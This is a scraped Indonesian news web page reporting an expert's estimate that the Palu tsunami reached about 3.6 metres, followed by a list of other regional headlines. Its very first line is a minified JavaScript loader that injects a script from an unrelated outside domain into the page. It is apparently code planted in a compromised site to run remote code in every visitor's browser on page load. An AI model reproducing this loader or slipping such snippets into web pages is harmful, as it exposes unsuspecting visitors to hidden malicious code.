(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Teknologi

Simpang Siur Ketinggian Tsunami Palu, Berikut Perhitungan Tim Ahli


Tepat sepekan setelah tsunami di Palu terjadi, masih banyak tanda tanya yang belum sepenuhnya terjawab. Salah satunya adalah ketinggian tsunami saat itu. Pasalnya, ada berbagai macam versi ketinggian ombak yang disebutkan oleh berbagai media.

Namun, berapakah sebenarnya ketinggian tsunami di Palu kala itu?

Menurut Widjo Kongko, ketinggian total tsunami di Palu pekan lalu adalah 3,6 meter.

Data yang digunakan untuk perhitungan tersebut berasal dari stasiun pasang surut di Pantoloan, Palu milik Badan Informasi Geospasial (BIG). Angka tersebut didapatkan dengan mempertimbangkan semua data yang ada.

“Setelah di-detached (pengaruh pasang surutnya dihilangkan), maksimum tsunami itu 1,9 meter, yang tercatat di data pasang surut,” ungkap Widjo seperti diberitakan Kompas.com, Jumat (5/10).

“Kemudian periodenya 3,5 menit,” imbuhnya. Widjo menjelaskan bahwa untuk menghitung total ketinggian gelombang saat itu juga perlu ditambah dengan pasang surut air pada waktu kejadian. “Pada saat terjadinya tsunami (pukul 18.10 Wita), pasang surut air sedang tinggi yaitu 0,9 meter,” kata Widjo. “Artinya, air tingginya sudah 2,8 meter. Karena 1,9 ditambah 0,9 jadi 2,8 meter,” Widjo menjelaskan. Angka ini makin buruk dengan bentuk daratan di pantai Talise, Palu. “Daratan di pantai Talise mengalami penurunan sekitar 0,83 meter,” tutur Widjo.

“Jadi, kalau ditotal dengan orang berdiri di sana, ketinggian tsunami mencapai angka 3,63 meter. Dengan kata lain, gelombang “monster” cukup tinggi. Widjo menyebut, jika angka ini digunakan dalam rumus empiris kedalaman air yang terdampak bisa mencapai 300 meter.

Meski sudah dihitung dengan rumus empiris, Widjo mengatakan bahwa penting untuk membuktikannya. Untuk itu, Widjo dan gabungan tim peneliti yang lain saat ini sedang bersiap melakukan survei bawah laut di Palu. Rencananya, gabungan tim peneliti tersebut melakukan survei menggunakan kapal Baruna Jaya 1. Tujuan utama survei ini adalah riset batimetri atau pemetaan dasar laut. (kmps)

Reporter : Tmp
Editor : Bie

Desy Arfianty

Recent Posts

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

3 menit ago

Tok! KPU Banjarbaru Sahkan 30 Calon Terpilih Anggota DPRD Kota Banjarbaru, Ini Daftar Lengkapnya

13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More

3 jam ago

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

11 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

13 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

13 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

13 jam ago

This website uses cookies.